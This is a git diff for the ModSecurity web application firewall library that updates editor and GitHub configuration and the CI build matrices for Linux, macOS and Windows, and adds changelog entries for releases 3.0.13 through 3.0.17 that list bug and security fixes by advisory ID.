diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000000..f6e08d349e --- /dev/null +++ b/.editorconfig @@ -0,0 +1,26 @@ +# top-most EditorConfig file +root = true + +# Unix-style newlines with a newline ending every file +[*] +end_of_line = lf +indent_style = space +# Scripts without suffixes in the project root tend to indent by two spaces +indent_size = 2 + +# Most of the project files indent by four spaces +[*/**] +indent_size = 4 + +# Test files indent by two spaces +[test/**] +indent_size = 2 + +# The config parser file indents by both two and four spaces, +# so we choose to indent by two spaces as a common denominator. +[*.yy] +indent_size = 2 + +[{Makefile,Makefile.am}] +indent_style = tab + diff --git a/.github/ISSUE_TEMPLATE/bug-report-for-version-2-x.md b/.github/ISSUE_TEMPLATE/bug-report-for-version-2-x.md index 1d3e399d26..3698347696 100644 --- a/.github/ISSUE_TEMPLATE/bug-report-for-version-2-x.md +++ b/.github/ISSUE_TEMPLATE/bug-report-for-version-2-x.md @@ -2,7 +2,7 @@ name: Bug report for version 2.x about: Create a report to help us improve title: '' -labels: '' +labels: '2.x' assignees: '' --- diff --git a/.github/ISSUE_TEMPLATE/bug-report-for-version-3-x.md b/.github/ISSUE_TEMPLATE/bug-report-for-version-3-x.md index 24badfb84a..299334e6b8 100644 --- a/.github/ISSUE_TEMPLATE/bug-report-for-version-3-x.md +++ b/.github/ISSUE_TEMPLATE/bug-report-for-version-3-x.md @@ -3,7 +3,7 @@ name: Bug report for version 3.x about: Create a report to help us improve. If you don't know a specific detail or piece of information leave it blank, if necessary we will help you to figure out. title: '' -labels: '' +labels: '3.x' assignees: '' --- diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000..4d274644a4 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,24 @@ + + + +## what + + + +## why + + + +## references + + diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 8e6a8a4f3c..dee0ae05da 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -3,75 +3,162 @@ name: Quality Assurance on: push: pull_request: - + jobs: build-linux: + name: Linux (${{ matrix.platform.label }}, ${{ matrix.compiler.label }}, ${{ matrix.configure.label }}) runs-on: ${{ matrix.os }} strategy: + fail-fast: false matrix: - os: [ubuntu-20.04] - platform: [x32, x64] - compiler: [gcc, clang] + os: [ubuntu-22.04] + platform: + - {label: "x64", arch: "amd64", configure: ""} + - {label: "x32", arch: "i386", configure: "PKG_CONFIG_PATH=/usr/lib/i386-linux-gnu/pkgconfig CFLAGS=-m32 CXXFLAGS=-m32 LDFLAGS=-m32"} + compiler: + - {label: "gcc", cc: "gcc", cxx: "g++"} + - {label: "clang", cc: "clang", cxx: "clang++"} configure: - {label: "with parser generation", opt: "--enable-parser-generation" } - {label: "wo curl", opt: "--without-curl" } - - {label: "wo yajl", opt: "--without-yajl" } - - {label: "wo geoip", opt: "--without-geoip" } - - {label: "wo lmdb", opt: "--without-lmdb" } - - {label: "with pcre2", opt: "--with-pcre2" } - {label: "wo lua", opt: "--without-lua" } - - {label: "without maxmind", opt: "--without-maxmind" } + - {label: "wo maxmind", opt: "--without-maxmind" } + - {label: "wo libxml", opt: "--without-libxml" } + - {label: "wo geoip", opt: "--without-geoip" } + - {label: "wo ssdeep", opt: "--without-ssdeep" } + - {label: "with lmdb", opt: "--with-lmdb" } + - {label: "with pcre", opt: "--with-pcre" } + exclude: + - platform: {label: "x32"} + configure: {label: "wo geoip"} + - platform: {label: "x32"} + configure: {label: "wo ssdeep"} steps: - - name: Setup Dependencies + - name: Detect latest Lua dev package + id: detect_lua + shell: bash run: | - sudo add-apt-repository --yes ppa:maxmind/ppa + set -euo pipefail + sudo apt-get update -y -qq - sudo apt-get install -y libfuzzy-dev libyajl-dev libgeoip-dev liblua5.2-dev liblmdb-dev cppcheck libmaxminddb-dev libcurl4-openssl-dev libpcre2-dev pcre2-utils - - uses: actions/checkout@v2 + + CANDIDATES="$(apt-cache pkgnames | grep -E '^liblua[0-9]+\.[0-9]+-dev$' || true)" + + if [ -z "$CANDIDATES" ]; then + echo "No libluaX.Y-dev package found" + exit 1 + fi + + BEST_PKG="$( + printf '%s\n' "$CANDIDATES" \ + | sed -E 's/^liblua([0-9]+\.[0-9]+)-dev$/\1 &/' \ + | sort -V \ + | tail -n1 \ + | awk '{print $2}' + )" + + if [ -z "$BEST_PKG" ]; then + echo "Failed to determine Lua package" + exit 1 + fi + + echo "lua_pkg=$BEST_PKG" >> "$GITHUB_OUTPUT" + echo "Using $BEST_PKG" + + - name: Setup Dependencies (common) + run: | + sudo dpkg --add-architecture ${{ matrix.platform.arch }} + sudo apt-get update -y -qq + sudo apt-get install -y libyajl-dev:${{ matrix.platform.arch }} \ + libcurl4-openssl-dev:${{ matrix.platform.arch }} \ + liblmdb-dev:${{ matrix.platform.arch }} \ + ${{ steps.detect_lua.outputs.lua_pkg }}:${{ matrix.platform.arch }} \ + libmaxminddb-dev:${{ matrix.platform.arch }} \ + libpcre2-dev:${{ matrix.platform.arch }} \ + pcre2-utils:${{ matrix.platform.arch }} \ + bison flex python3 python3-venv + - name: Setup Dependencies (x32) + if: ${{ matrix.platform.label == 'x32' }} + run: | + sudo apt-get install g++-multilib + sudo apt-get install -y libxml2-dev:${{ matrix.platform.arch }} \ + libpcre3-dev:${{ matrix.platform.arch }} + - name: Setup Dependencies (x64) + if: ${{ matrix.platform.label == 'x64' }} + run: | + sudo apt-get install -y libfuzzy-dev:${{ matrix.platform.arch }} + + - uses: actions/checkout@v6 with: - submodules: true + submodules: recursive + fetch-depth: 0 - name: build.sh run: ./build.sh - - name: configure ${{ matrix.configure.label }} - run: ./configure ${{ matrix.configure.opt }} + - name: configure + env: + CC: ${{ matrix.compiler.cc }} + CXX: ${{ matrix.compiler.cxx }} + run: ./configure ${{ matrix.platform.configure }} ${{ matrix.configure.opt }} --enable-assertions=yes - uses: ammaraskar/gcc-problem-matcher@master - name: make run: make -j `nproc` - name: check run: make check - - name: check-static - run: make check-static - build-macos: + build-windows: + name: Windows (${{ matrix.platform.label }}, ${{ matrix.configure.label }}) runs-on: ${{ matrix.os }} strategy: + fail-fast: false matrix: - os: [macos-11] - compiler: [clang] + os: [windows-2022] + platform: + - {label: "x64", arch: "x86_64"} + configuration: [Release] configure: - - {label: "with parser generation", opt: "--enable-parser-generation" } - - {label: "wo curl", opt: "--without-curl" } - - {label: "wo yajl", opt: "--without-yajl" } - - {label: "wo geoip", opt: "--without-geoip" } - - {label: "wo lmdb", opt: "--without-lmdb" } - - {label: "wo ssdeep", opt: "--without-ssdeep" } - - {label: "wo lua", opt: "--without-lua" } - - {label: "wo maxmind", opt: "--without-maxmind" } + - {label: "full", opt: "" } + - {label: "wo curl", opt: "-DWITH_CURL=OFF" } + - {label: "wo lua", opt: "-DWITH_LUA=OFF" } + - {label: "wo maxmind", opt: "-DWITH_MAXMIND=OFF" } + - {label: "wo libxml", opt: "-DWITH_LIBXML2=OFF" } + - {label: "with lmdb", opt: "-DWITH_LMDB=ON" } steps: - - name: Setup Dependencies - run: | - brew install autoconf automake cppcheck lmdb libyaml lua ssdeep libmaxminddb bison - - uses: actions/checkout@v2 + - uses: actions/checkout@v6 with: - submodules: true - - name: build.sh - run: ./build.sh - - name: configure ${{ matrix.configure.label }} - run: ./configure ${{ matrix.configure.opt }} - - uses: ammaraskar/gcc-problem-matcher@master - - name: make - run: make -j `sysctl -n hw.logicalcpu` - - name: check - run: make check - - name: check-static - run: make check-static + submodules: recursive + fetch-depth: 0 + - name: Install Conan + run: | + pip3 install conan --upgrade + conan profile detect + - uses: ammaraskar/msvc-problem-matcher@master + - name: Build ${{ matrix.configuration }} ${{ matrix.platform.arch }} ${{ matrix.configure.label }} + shell: cmd + run: vcbuild.bat ${{ matrix.configuration }} ${{ matrix.platform.arch }} NO_ASAN "${{ matrix.configure.opt }}" + - name: Set up test environment + working-directory: build\win32\build\${{ matrix.configuration }} + env: + BASE_DIR: ..\..\..\.. + shell: cmd + run: | + copy unit_tests.exe %BASE_DIR%\test + copy regression_tests.exe %BASE_DIR%\test + copy libModSecurity.dll %BASE_DIR%\test + copy %BASE_DIR%\unicode.mapping %BASE_DIR%\test + md \tmp + md \bin + copy "C:\Program Files\Git\usr\bin\echo.exe" \bin + copy "C:\Program Files\Git\usr\bin\echo.exe" \bin\echo + - name: Disable tests that don't work on Windows + working-directory: test\test-cases\regression + shell: cmd + run: | + jq "map(if .title == \"Test match variable (1/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json + jq "map(if .title == \"Test match variable (2/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json + jq "map(if .title == \"Test match variable (3/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json + jq "map(if .title == \"Variable offset - FILES_NAMES\" then .enabled = 0 else . end)" offset-variable.json > tmp.json && move /Y tmp.json offset-variable.json + - name: Run tests + working-directory: build\win32\build + run: | + ctest -C ${{ matrix.configuration }} --output-on-failure + diff --git a/.github/workflows/ci_new.yml b/.github/workflows/ci_new.yml new file mode 100644 index 0000000000..fd0845243b --- /dev/null +++ b/.github/workflows/ci_new.yml @@ -0,0 +1,352 @@ +name: Quality Assurance new + +on: + push: + pull_request: + +jobs: + build-linux: + name: Linux (${{ matrix.platform.label }}, ${{ matrix.compiler.label }}, ${{ matrix.configure.label }}) + + # Ubuntu 24.04 does not provide native 32-bit (i386) installation images. + # Only amd64 (x86_64) is officially supported. 32-bit has been removed from this matrix. + runs-on: ubuntu-24.04 + + strategy: + fail-fast: false + matrix: + platform: + - { label: "x64", arch: "amd64", configure: "" } + + compiler: + - { label: "gcc", cc: "gcc", cxx: "g++" } + - { label: "clang", cc: "clang", cxx: "clang++" } + + configure: + - { label: "with parser generation", opt: "--enable-parser-generation" } + - { label: "without curl", opt: "--without-curl" } + - { label: "without lua", opt: "--without-lua" } + - { label: "without maxmind", opt: "--without-maxmind" } + - { label: "without libxml", opt: "--without-libxml" } + - { label: "without geoip", opt: "--without-geoip" } + - { label: "without ssdeep", opt: "--without-ssdeep" } + - { label: "with lmdb", opt: "--with-lmdb" } + - { label: "with pcre2 (default)", opt: "" } + - { label: "with pcre", opt: "--with-pcre" } + + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + submodules: recursive + + - name: Detect latest Lua dev package + id: detect_lua + shell: bash + run: | + set -euo pipefail + + sudo apt-get update -y -qq + + CANDIDATES="$(apt-cache pkgnames | grep -E '^liblua[0-9]+\.[0-9]+-dev$' || true)" + + if [ -z "$CANDIDATES" ]; then + echo "No libluaX.Y-dev package found" + exit 1 + fi + + BEST_PKG="$( + printf '%s\n' "$CANDIDATES" \ + | sed -E 's/^liblua([0-9]+\.[0-9]+)-dev$/\1 &/' \ + | sort -V \ + | tail -n1 \ + | awk '{print $2}' + )" + + if [ -z "$BEST_PKG" ]; then + echo "Failed to determine Lua package" + exit 1 + fi + + echo "lua_pkg=$BEST_PKG" >> "$GITHUB_OUTPUT" + echo "Using $BEST_PKG" + + + - name: Install dependencies + run: | + sudo apt-get install -y \ + libyajl-dev \ + libcurl4-openssl-dev \ + liblmdb-dev \ + ${{ steps.detect_lua.outputs.lua_pkg }} \ + libmaxminddb-dev \ + libpcre2-dev \ + libxml2-dev \ + libfuzzy-dev \ + pcre2-utils \ + libpcre3-dev \ + bison \ + flex \ + pkg-config \ + python3 \ + python3-venv + + - name: Show Lua installation + run: | + which lua || true + lua -v || true + dpkg -l | grep lua || true + + - name: Run build preparation script + run: ./build.sh + + - name: Configure + env: + CC: ${{ matrix.compiler.cc }} + CXX: ${{ matrix.compiler.cxx }} + run: ./configure ${{ matrix.platform.configure }} ${{ matrix.configure.opt }} --enable-assertions=yes + + - uses: ammaraskar/gcc-problem-matcher@master + + - name: Compile + run: make -j "$(nproc)" + + - name: Run tests + run: make check + + build-macos: + name: macOS (${{ matrix.configure.label }}) + runs-on: ${{ matrix.os }} + + strategy: + fail-fast: false + matrix: + os: [macos-15, macos-26] + configure: + - { label: "with parser generation", opt: "--enable-parser-generation" } + - { label: "without curl", opt: "--without-curl" } + - { label: "without lua", opt: "--without-lua" } + - { label: "without maxmind", opt: "--without-maxmind" } + - { label: "without libxml", opt: "--without-libxml" } + - { label: "without geoip", opt: "--without-geoip" } + - { label: "without ssdeep", opt: "--without-ssdeep" } + - { label: "with lmdb", opt: "--with-lmdb" } + - { label: "with pcre2 (default)", opt: "" } + - { label: "with pcre", opt: "--with-pcre" } + + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + submodules: recursive + + - name: Install dependencies + # curl and pcre2 are typically already available in the macOS runner image + run: | + brew install autoconf \ + automake \ + libtool \ + yajl \ + lmdb \ + lua \ + libmaxminddb \ + libxml2 \ + ssdeep \ + pcre \ + bison \ + flex + + - name: Run build preparation script + run: ./build.sh + + - name: Configure + run: ./configure ${{ matrix.configure.opt }} --enable-assertions=yes + + - uses: ammaraskar/gcc-problem-matcher@master + + - name: Compile + run: make -j "$(sysctl -n hw.logicalcpu)" + + - name: Run tests + run: make check + + build-windows: + name: Windows (${{ matrix.platform.label }}, ${{ matrix.configure.label }}) + runs-on: windows-2022 + + strategy: + fail-fast: false + matrix: + platform: + - { label: "x64", arch: "x86_64" } + configuration: [Release] + configure: + - { label: "full", opt: "" } + - { label: "without curl", opt: "-DWITH_CURL=OFF" } + - { label: "without lua", opt: "-DWITH_LUA=OFF" } + - { label: "without maxmind", opt: "-DWITH_MAXMIND=OFF" } + - { label: "without libxml", opt: "-DWITH_LIBXML2=OFF" } + - { label: "with lmdb", opt: "-DWITH_LMDB=ON" } + + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + submodules: recursive + + - name: Install Conan package manager + run: | + pip3 install conan --upgrade + conan profile detect + + - uses: ammaraskar/msvc-problem-matcher@master + + - name: Build project + shell: cmd + run: vcbuild.bat ${{ matrix.configuration }} ${{ matrix.platform.arch }} NO_ASAN "${{ matrix.configure.opt }}" + + - name: Prepare test environment + working-directory: build\win32\build\${{ matrix.configuration }} + env: + BASE_DIR: ..\..\..\.. + shell: cmd + run: | + copy unit_tests.exe %BASE_DIR%\test + copy regression_tests.exe %BASE_DIR%\test + copy libModSecurity.dll %BASE_DIR%\test + copy %BASE_DIR%\unicode.mapping %BASE_DIR%\test + md \tmp + md \bin + copy "C:\Program Files\Git\usr\bin\echo.exe" \bin + copy "C:\Program Files\Git\usr\bin\echo.exe" \bin\echo + + - name: Disable unsupported tests on Windows + working-directory: test\test-cases\regression + shell: cmd + run: | + jq "map(if .title == \"Test match variable (1/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json + jq "map(if .title == \"Test match variable (2/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json + jq "map(if .title == \"Test match variable (3/n)\" then .enabled = 0 else . end)" issue-2423-msg-in-chain.json > tmp.json && move /Y tmp.json issue-2423-msg-in-chain.json + jq "map(if .title == \"Variable offset - FILES_NAMES\" then .enabled = 0 else . end)" offset-variable.json > tmp.json && move /Y tmp.json offset-variable.json + + - name: Run tests + working-directory: build\win32\build + run: ctest -C ${{ matrix.configuration }} --output-on-failure + + cppcheck: + name: Static analysis (cppcheck) + runs-on: macos-26 + + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + submodules: recursive + + - name: Install cppcheck + run: | + brew install autoconf automake libtool cppcheck libmaxminddb yajl lua lmdb ssdeep + + - name: Configure project + run: | + ./build.sh + ./configure + + - name: Run cppcheck + run: make check-static + + cppcheck-linux: + name: Static analysis (cppcheck, Linux, debian:sid) + runs-on: ubuntu-latest + container: debian:sid + + steps: + - name: Install basic tools + run: | + apt-get update + apt-get install -y git + + - name: Mark repo as safe for git + run: git config --global --add safe.directory $GITHUB_WORKSPACE + + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + submodules: recursive + + - name: Detect latest Lua packages + id: detect_lua + shell: bash + run: | + set -euo pipefail + + apt-get update + + CANDIDATES="$(apt-cache pkgnames | grep -E '^liblua[0-9]+\.[0-9]+-dev$' || true)" + + if [ -z "$CANDIDATES" ]; then + echo "No libluaX.Y-dev package found" + exit 1 + fi + + BEST_PKG="$( + printf '%s\n' "$CANDIDATES" \ + | sed -E 's/^liblua([0-9]+\.[0-9]+)-dev$/\1 &/' \ + | sort -V \ + | tail -n1 \ + | awk '{print $2}' + )" + + if [ -z "$BEST_PKG" ]; then + echo "Failed to determine Lua dev package" + printf '%s\n' "$CANDIDATES" + exit 1 + fi + + BEST_VER="$(printf '%s\n' "$BEST_PKG" | sed -E 's/^liblua([0-9]+\.[0-9]+)-dev$/\1/')" + LUA_PKG="lua$BEST_VER" + + echo "lua_dev_pkg=$BEST_PKG" >> "$GITHUB_OUTPUT" + echo "lua_pkg=$LUA_PKG" >> "$GITHUB_OUTPUT" + + echo "Using dev package: $BEST_PKG" + echo "Using interpreter: $LUA_PKG" + + - name: Install dependencies (v2 style) + run: | + apt-get install -y \ + autoconf \ + automake \ + build-essential \ + libtool \ + pkg-config \ + cppcheck \ + libyajl-dev \ + libcurl4-openssl-dev \ + liblmdb-dev \ + ${{ steps.detect_lua.outputs.lua_dev_pkg }} \ + ${{ steps.detect_lua.outputs.lua_pkg }} \ + libmaxminddb-dev \ + libpcre2-dev \ + libxml2-dev \ + libfuzzy-dev \ + pcre2-utils \ + bison \ + flex \ + python3 \ + python3-venv + + - name: Show Lua installation + run: | + which lua || true + lua -v || true + dpkg -l | grep lua || true + + - name: Run build preparation script + run: ./build.sh + + - name: Configure project + run: ./configure + + - name: Run cppcheck + run: make check-static diff --git a/.gitignore b/.gitignore index 390c0e6066..4e314e466e 100644 --- a/.gitignore +++ b/.gitignore @@ -11,13 +11,18 @@ build/ltoptions.m4 build/ltsugar.m4 build/ltversion.m4 build/lt~obsolete.m4 +build/win32/build +build/win32/CMakeUserPresets.json compile config.guess config.log config.status config.sub +config.h.in~ configure +configure~ depcomp +modsecurity.pc .deps .libs .dirstamp @@ -27,6 +32,7 @@ src/location.hh src/position.hh src/stack.hh src/stamp-h1 +src/headers.mk /test/rules_optimization /test/regression_tests /test/unit_tests @@ -45,6 +51,7 @@ ltmain.sh examples/simple_example_using_c/test /tools/rules-check/modsec-rules-check examples/multiprocess_c/multi +examples/multithread/multithread examples/reading_logs_via_rule_message/simple_request examples/reading_logs_with_offset/read examples/using_bodies_in_chunks/simple_request diff --git a/.gitmodules b/.gitmodules index e4cf1b8da8..05927d49d1 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,9 +1,12 @@ [submodule "test/test-cases/secrules-language-tests"] path = test/test-cases/secrules-language-tests - url = https://github.com/SpiderLabs/secrules-language-tests + url = https://github.com/owasp-modsecurity/secrules-language-tests [submodule "others/libinjection"] path = others/libinjection url = https://github.com/libinjection/libinjection.git [submodule "bindings/python"] path = bindings/python - url = https://github.com/SpiderLabs/ModSecurity-Python-bindings.git + url = https://github.com/owasp-modsecurity/ModSecurity-Python-bindings.git +[submodule "others/mbedtls"] + path = others/mbedtls + url = https://github.com/Mbed-TLS/mbedtls.git diff --git a/CHANGES b/CHANGES index 8159ec3053..4dfae08c14 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,328 @@ -v3.x.y - YYYY-MMM-DD (to be released) -------------------------------------- +v3.0.17 - 2026-Sep-29 +--------------------- + - [fix: t:htmlEntityDecode does not decode all ASCII named HTML entities] + [PR from private repo - @marcstern, @fzipi, @airween; fixed GHSA-cxqf-vgrr-xxrv] + - [fix: use secure value for host verification in case of remote rules download] + [PR from private repo - @amitu314, @airween; fixed GHSA-2vqc-36qp-ccmw] + - [fix: uninitialized pointer dereference in XML request body processor] + [PR from private repo - Tobias Klein (www.trapkit.de), @airween; fixed GHSA-jx3r-phvx-2jmj] + - [fix: response body inspection bypass with mixed case Content-Type value] + [PR from private repo - @zuesdevil, @airween; fixed GHSA-vmg8-j66p-vgvw] + - [fix: nullptr dereference if @rx/@rxGlobal pattern is invalid (at startup or after macro expansion)] + [PR from private repo - @AnnoyingTechnology, @fzipi, @airween; fixed GHSA-5m93-4h75-3p2w] + - [fix: t:removeComments behavior in case of adjacent comments] + [PR from private repo - @HEXER365, @airween; fixed GHSA-qrch-pjfr-9g47] + - [fix: t:base64DecodeExt does not handle '-' and '_' characters (URL-safe alphabet)] + [PR from private repo - @fzipi, @airween; fixed GHSA-4j47-8qcr-jf59] + - [fix: handle 'filename*' and duplicated 'filename' parameters in multipart Content-Disposition header; + add new variables MULTIPART_DUPLICATE_PART_HEADER, MULTIPART_FILENAME_CHARSET, MULTIPART_FILENAME_LANGUAGE] + [PR from private repo - @hnakamur, @fzipi, @theseion, @airween; fixed GHSA-5pww-8rfg-9crf] + - fix: align cppcheck 2.22.0 warnings + [PR #3645 - @airween] + - fix: seclang scanner mis-parsing escaped quotes right after a macro + [PR #3641 - @fzipi] + - fix: drop MDB_WRITEMAP to avoid LMDB freelist assertion crash + [PR #3639 - @fzipi] + +v3.0.16 - 2026-Jun-29 +--------------------- + + - [fix: wrong behavior in utf8toUnicode on i386 architecture] + [PR from private repo - @airween; fixed CVE-2026-52761] + - [fix: multipart/form-data request body parser invalidly handles `\r` and `\n` characters] + [PR from private repo - @sondt99, @dungNHVhust, @hnakamura, @airween; fixed CVE-2026-52747] + - fix(lexer): rejection of '@' in ctl:ruleRemoveTarget actions + [PR #3566, #3589 - @Jitterx69, @airween] + - fix: cppcheck warnings with version 2.21.0 + [PR #3577 - @airween] + - ci: pin Windows version in workflow + [PR #3570 - @airween] + - Alternative fix for @inspectFile: improved fork safety with multi-threaded tests (PR #3489) + [PR #3552 - @Easton97-Jens] + +v3.0.15 - 2026-Apr-28 +--------------------- + + - [fix: unsig integer underflow issue in verify* operators] + [PR from private repo - @fumfel, @airween; fixed CVE-2026-42268] + - [fix: buffer overflow in hex_decode.cc] + [PR from private repo - @EsadCetiner, @fumfel, @airween; fixed CVE-2026-30923] + - Add is_interrupted flag in the audit JSON log + [PR #3553 - @meirdev] + - Add C API to retrieve matched rules from a transaction + [PR #3551 - @meirdev] + - fix: buffer overflow in multipart body proc + [PR #3546 - @fumfel, @airween] + - fix: heap buffer overflow in acmp pm + [PR #3544 - @fumfel, @airween] + - fix: nullptr dereference in seclang scanner + [PR #3543 - @fumfel, @airween] + - fix: probably UB (left shift of neg. val) in ip_tree + [PR #3541 - @fumfel, @airween] + - Add initial mbedTLS v4 support + [PR #3532 - @Easton97-Jens] + - Fix Lua Detection on ci_new + [PR #3531 - @Easton97-Jens] + - ci: update workflows (checkout v6, recursive submodules), prep for mbedTLS v4, Windows fixes + [PR #3529 - @Easton97-Jens] + - Update SQLi/XSS operators for libinjection v4.0.0 cleaned + [PR #3528 - @Easton97-Jens] + - feat: added Lua5.5 support + [PR #3525 - @airween] + - fix: cppcheck warnings + [PR #3508 - @airween] + - CI: Align workflow with configure.ac (recursive submodules, v2 Linux job, drop x32) + [PR #3504 - @Easton97-Jens] + - fix(parser): add destructor directives to prevent memory leaks + [PR #3500 - @fzipi] + - Add missing CRLF to regression test request bodies + [PR #3497 - @hnakamur] + - refactor: autotools files + [PR #3494 - @fzipi] + - V3/do not add newline to test body lines + [PR #3486 - @hnakamur] + - fix: cppcheck warnings, cppcheck 2.19.0 + [PR #3485 - @airween] + - Fix multipart boundaries in regression tests + [PR #3482 - @hnakamur] + - v3: fix readme on running tests (fixes #3328) + [PR #3481 - @hnakamur] + - Collection: Include ``. + [PR #3473 - @Gacko] + - Minor edit with remove useless checks + [PR #3467 - @chenuduss] + - fix: encode possible binary characters from user input in audit logs + [PR #3464 - @airween] + - fix: libxml2 related deprecated issues in v3 + [PR #3455 - @airween] + - correct handling result of CPTRetriveNode + [PR #3447 - @chenuduss] + - fix: ignore case when evaluating exceptions + [PR #3442 - @airween] + - fix: eliminate non-posix standard variables + [PR #3437 - @airween] + - chore: fix cppcheck warning + [PR #3434 - @airween] + - Add custom leading text to audit log lines + [PR #3432 - @szedenik-adam] + - fix: add Windows specific characters to config value syntax + [PR #3430 - @airween] + - fix: rx operators better null checks + [PR #3426 - @wooffie] + - fix: confusing indentation at acmp.cc + [PR #3424 - @wooffie] + - Refactoring the cleaning of MATCHED_VAR* variables + [PR #3422 - @airween] + - fix: integer type limits, 2nd try + [PR #3421 - @airween] + - fix: @pmFromFile with multiple files issue + [PR #3405 - @airween] + - Add hostname to JSON log + [PR #3393 - @JakubOnderka] + - Fix memory/socket leak in `UniqueId::ethernetMacAddress()` + [PR #3392 - @amezin] + - Buildsystem fixes + [PR #3390 - @arvedarved] + - Disable Expect when sending audit logs to remote HTTP server + [PR #3365 - @JakubOnderka] + - Simplify code for JSON audit log + [PR #3364 - @JakubOnderka] + - feat: improved XMLArgs processing + [PR #3363 - @airween] + - doc: update testing section of README + [PR #3354 - @cjihrig] + - fix: align code to fix cppcheck errors + [PR #3350 - @airween] + +v3.0.14 - 2025-Feb-25 +--------------------- + + - [fix: fixed htmlEntityDecode methods] + [PR from private repo - @theseion,@airween; fixed CVE-2025-27110] + - fix: Added missing header to avoid build error with gcc-15 + [PR #3342 - @airween] + - Fix for issue #3334: build not finding YAJL + [PR #3335 - @RooHTaylor] + - fix: add value checking to @validateByteRange + [PR #3322 - @airween] + - fix: build library on OSX without GeoIP brew package + [PR #3319 - @theseion,@airween] + - Update README.md + [PR #3314 - @ElevationsRPG] + - Fix: Add false positive cppcheck-suppress for compatibility with upda… + [PR #3307 - @gberkes] + - fix: align TIME_MON variable's behavior + [PR #3306 - @M4tteoP,@theseion,@airween] + - Fix m_requestHostName variable behavior + [PR #3298 - @airween] + - Add regression rules for test + [PR #3291 - @hnakamur] + - Fix modsecurity-regression-test-secremoterules.txt URL in example + [PR #3287 - @hnakamur] + - Use latest version of cppcheck (2.15.0) to analyze codebase + [PR #3283 - @eduar-hte] + - Replace usage of range-checked 'at' method when vector/string has already been size checked + [PR #3280 - @eduar-hte] + - chore: add 'log' action to rule 200005 + [PR #3266 - @airween] + - docs: add a logo picture for github dark theme + [PR #3264 - @xuruidong] + - Leverage std::make_unique & std::make_shared to create objects in the heap + [PR #3254 - @eduar-hte] + - Simplified handling of RuleMessage by removing usage of std::shared_ptr + [PR #3253 - @eduar-hte] + - Simplified constructors, copy constructors & assignment operators + [PR #3248 - @eduar-hte] + +v3.0.13 - 2024-Sep-03 +--------------------- + + - Adjust reference to modsecurity::utils::string::VALID_HEX + [PR #3243 - @eduar-hte] + - Lua::run: Move logging of str parameter to higher log level. + [PR #3240 - @frozenice] + - Remove unnecessary heap allocated copies in Transformation actions + [PR #3231 - @eduar-hte] + - Removed multiple heap-allocated copies in Pm::init & parse_pm_content + [PR #3233 - @eduar-hte] + - Unit tests results should not be displayed in 'automake output' mode + [PR #3232 - @eduar-hte] + - Replace usage of std::ctime, which is not safe in + multithread contexts + [PR #3228 - @eduar-hte] + - Removed unnecessary lock to call acmp_process_quick in Pm::evaluate + [PR #3227 - @eduar-hte] + - feat: Check if the MP header contains invalid character + [PR #3225 - @airween] + - Prevent concurrent access to data in InMemoryPerProcess' + resolveXXX methods + [PR #3216 - @eduar-hte] + - Remove several string copies and unnecessary heap allocations + [PR #3222 - @eduar-hte] + - Creating a std::string with a null pointer + is undefined behaviour + [PR #3220 - @eduar-hte] + - Simplifiy configuration to build using std C++17 + [PR #3219 - @eduar-hte] + - Remove unnecessary dynamic casts + [PR #3218 - @eduar-hte] + - fix: Sonarcloud reported memleak fixes + [PR #3114 - @airween] + - V3/sonarcloud replace this declaration by a structured + binding declaration + [PR #3217 - @gberkes] + - Do not assume ModSecurityIntervention argument to + transaction::intervention has been initialized/cleaned + [PR #3212 - @eduar-hte] + - Refactor: used the init-statement to declare "pos" inside the + if statement + [PR #3214 - @gberkes] + - Refactor: moved 3 #include directives to the top of the file. + [PR #3213 - @gberkes] + - Fix SecRemoteRules regression test not to depend on a + specific error message + [PR #3211 - @eduar-hte] + - Fixed shared files deadlock in a multi-threaded Windows application + [PR #3210 - @eduar-hte] + - Add cleanup methods to complete C based ABI + [PR #3209 - @eduar-hte] + - Build on macOS with Apple silicon (arm64) + [PR #3208 - @eduar-hte] + - remove 'this throw' call in transaction + [PR #3207 - @gberkes] + - New API function: set hostname for log + [PR #3203 - @airween] + - Fixing typo in Dockerfile + [PR #3189 - @bitbehz] + - Simplify checkout of submodules in GitHub workflows (with support for git describe) + [PR #3185 - @eduar-hte] + - Update README.md: use submodule and use benchmark tool + [PR #3182 - @airween] + - Improve performance of VariableOrigin instances + [PR #3164 - @eduar-hte] + - Update libinjection & Mbed TLS + [PR #3161 - @eduar-hte] + - chore: add PR template (v3) + [PR #3160 - @fzipi] + - Update to seclang-scanner changes introduced by Windows support + [PR #3146 - @eduar-hte] + - GitHub build & quality assurance workflow updates + [PR #3144 - @eduar-hte] + - Add link to Rust bindings in README + [PR #3141 - @rkrishn7] + - Remove cppcheck suppressions with line numbers in test/cppcheck_suppressions.txt + [PR #3134 - @eduar-hte] + - Add support to build libModSecurity v3 on Windows + [PR #3132 - @eduar-hte] + - fix: update submodule url + [PR #3128 - @fzipi] + - fix(rbl): typo in rbl check selector + [PR #3127 - @fzipi] + - fix: Changed 'equal_range()' + loop by 'find()' in resolveFirst() methods + [PR #3117 - @airween] + - Deleted redundant code in 'ModSecurity::serverLog(...)'. + [PR #3116 - @gberkes] + - doc: Update CHANGES + [PR #3101 - @airween] + - Reduce the scope of variables in a for loop + [PR #3098 - 